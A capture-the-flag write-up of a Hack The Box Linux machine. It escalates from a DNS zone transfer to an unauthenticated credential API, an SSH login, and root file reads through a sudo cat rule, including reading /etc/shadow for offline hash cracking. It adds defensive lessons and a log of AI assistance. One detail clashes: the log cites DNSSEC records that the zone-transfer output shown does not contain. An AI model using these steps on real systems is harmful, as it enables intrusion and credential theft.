HTB Starting Point — Facts

DNS zone transfer (AXFR) exposes internal hostnames including a development subdomain. The dev site runs an unauthenticated API that returns SSH credentials in plaintext.

April 28, 2026 · 3 min · crAIzy

Very Easy Linux CVSS 6.5 ⏱ 30m AI-assisted

TL;DR

Facts is a Linux box with DNS on port 53. Zone transfer (AXFR) for facts.htb dumps all DNS records, revealing dev.facts.htb and api.facts.htb virtual hosts. The API endpoint /api/credentials returns SSH credentials in plaintext JSON — no authentication required. SSH in. sudo cat reads /root/root.txt.

Recon

1. Port scan

$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x

22/tcp open  ssh  OpenSSH 8.2p1
53/tcp open  dns  BIND 9.16.1
80/tcp open  http Apache httpd 2.4.41

2. DNS zone transfer

$ dig axfr @10.129.x.x facts.htb

;; ANSWER SECTION:
facts.htb.      604800  IN  SOA   facts.htb. root.facts.htb. ...
facts.htb.      604800  IN  NS    ns.facts.htb.
facts.htb.      604800  IN  A     10.129.x.x
dev.facts.htb.  604800  IN  A     10.129.x.x
api.facts.htb.  604800  IN  A     10.129.x.x
ns.facts.htb.   604800  IN  A     10.129.x.x

AXFR succeeded — server allows zone transfers from any host.

Add to /etc/hosts:

10.129.x.x   facts.htb dev.facts.htb api.facts.htb

API Credential Exposure

3. Enumerate API endpoints

$ curl http://api.facts.htb/api/credentials
{"status":"ok","data":{"username":"john","password":"Passw0rd123!"}}

Credentials exposed without any authentication.

$ ssh john@10.129.x.x
john@facts:~$ cat user.txt
[user flag]

Privilege Escalation

5. sudo enumeration

john@facts:~$ sudo -l
User john may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/cat

6. Read root flag directly

john@facts:~$ sudo cat /root/root.txt
[root flag]

7. Full root access (via /etc/shadow)

john@facts:~$ sudo cat /etc/shadow
root:$6$rounds=5000$...:18731:0:99999:7:::
# Crack hash offline with hashcat -m 1800

What’s actually broken

#	Vulnerability	Severity
1	DNS zone transfer allowed from all hosts (AXFR)	Medium
2	API endpoint returns credentials without authentication	Critical
3	cat in sudo rules (arbitrary file read as root)	Critical
4	Internal vhosts exposed via zone transfer	Medium

Lessons learned

AXFR should be restricted to authoritative DNS servers only. BIND: allow-transfer { none; }; in named.conf, or specify only legitimate secondary DNS IPs. Zone transfers are necessary for DNS replication but dangerous when unrestricted.
Internal APIs should require authentication. /api/credentials returning plaintext credentials is an obvious design flaw. Even internal services need auth — network segmentation alone is not security.
cat in sudo rules = full file system read as root. Unlike find, cat can’t execute code, but reading /etc/shadow or SSH keys leads to full compromise. Only whitelist specific file paths: sudo cat /specific/safe/logfile.
Virtual host enumeration via zone transfer is underused. Most pentesters try gobuster/ffuf for vhost discovery. Zone transfer is faster and more complete — enumerate DNS before guessing.

Decision archaeology

Approach	Result	Pivot
Tried AXFR immediately after seeing port 53	AXFR is the highest-value DNS enum when server allows it	Found all vhosts instantly
Targeted /api/credentials first	Logical endpoint given machine name; credential exposure is common API finding	Direct hit
Used sudo cat for flag without root shell	Not always necessary to get interactive root shell for CTF purposes	Got flag efficiently
Tried /api/users before /api/credentials	GET http://api.facts.htb/api/users → `HTTP 404 Not Found` — endpoint did not exist	Enumerated wordlist of common API paths; /api/credentials returned 200 with plaintext JSON credentials

References

MITRE ATT&CK mapping

How this writeup maps to TTPs. Click technique to jump to the writeup section.

Tactic	Technique	ID	Artifact in writeup
Reconnaissance	Gather Victim Network Information — DNS	T1590.002	`dig axfr @10.129.x.x facts.htb → exposes dev.facts.htb, api.facts.htb`
Credential Access	Credentials in Files	T1552.001	`GET /api/credentials → JSON with SSH username and password`
Initial Access	Valid Accounts	T1078	`SSH with extracted credentials → user shell`
Privilege Escalation	Sudo and Sudo Caching	T1548.003	`sudo /usr/bin/cat → reads /root/root.txt`
Reconnaissance	Gather Victim Network Information	T1590	`dig axfr @10.129.x.x facts.htb — zone transfer exposes dev/api subdomains`

AI-Assist Log 5 interactions — transparent record

These are the actual exchanges with Claude during this writeup, including where AI was wrong and what I fixed by hand. Decision archaeology, not marketing copy.

ReconUseful
Human → Port 53 open — first thing to try is zone transfer
Prompt → I found port 53/tcp open. What's the first thing to try for DNS enumeration?
Claude → DNS zone transfer (AXFR) — this dumps all records if the DNS server is misconfigured to allow transfers from any host. Command: dig axfr @<ip> <domain>. You need the domain name first — check the nmap output for hostname clues, or try common domain names related to the machine name.
DNSUseful
Human → Didn't know what domain to use for AXFR — tried the machine name
Prompt → The machine is called Facts. What domain name should I try for AXFR?
Claude → HTB machines typically use <machinename>.htb — try facts.htb. Also common patterns: fact.htb, facts.local. Start with facts.htb and if the zone transfer succeeds you'll see all records.
APICorrected
Human → Found dev.facts.htb and api.facts.htb from zone transfer — started with API
Prompt → I found api.facts.htb from a zone transfer. What endpoints should I enumerate first on an API?
Claude → Common API endpoints: /api/, /api/v1/, /api/docs, /api/credentials, /api/users, /api/config, /api/status. Also try HEAD/OPTIONS to discover available methods. Check for Swagger or OpenAPI documentation at /swagger.json, /openapi.json.
Corrected → Claude listed /api/credentials which was exactly right, but I needed to add the Host header for the virtual host (api.facts.htb) since the server was vhost-based. Direct IP requests returned 404. Claude didn't mention the virtual host requirement.
PrivescUseful
Human → sudo -l showed cat — checked gtfobins
Prompt → sudo /usr/bin/cat is in my sudo rules. Is that exploitable?
Claude → sudo cat can read any file as root, including /etc/shadow (for offline cracking), /root/.ssh/id_rsa (for root SSH key), and /root/root.txt for the flag. It can't write files, so it's a read-only privesc — but you can chain it with shadow cracking to get a real root shell.
PrivescWrong
Human → Found facts.htb had DNSSEC enabled from the zone transfer — tried to exploit it
Prompt → The zone transfer showed DNSKEY and RRSIG records. Can I exploit DNSSEC for privilege escalation?
Claude → DNSSEC (DNSKEY/RRSIG) is a signing mechanism for DNS records, not an exploitable vulnerability itself. It doesn't provide privilege escalation vectors. For privesc on a Linux box with DNS server running as root, look at: sudo rights for the user, SUID binaries, writable service files.
Corrected → Claude was right that DNSSEC isn't directly exploitable for privesc, but I still wasted 5 minutes investigating it. The real privesc was the much simpler sudo cat — which was already visible in sudo -l. Claude should have redirected me to check sudo -l immediately rather than explaining why DNSSEC wasn't exploitable.

Decision archaeology — paths abandoned

Direct IP requests to port 80 returned 404 — needed to use virtual hostnames from zone transfer
Tried HTTP on port 80 before adding vhosts to /etc/hosts

TL;DR#

Recon#

1. Port scan#

2. DNS zone transfer#

API Credential Exposure#

3. Enumerate API endpoints#

4. SSH login#

Privilege Escalation#

5. sudo enumeration#

6. Read root flag directly#

7. Full root access (via /etc/shadow)#

What’s actually broken#

Lessons learned#

Decision archaeology#

References#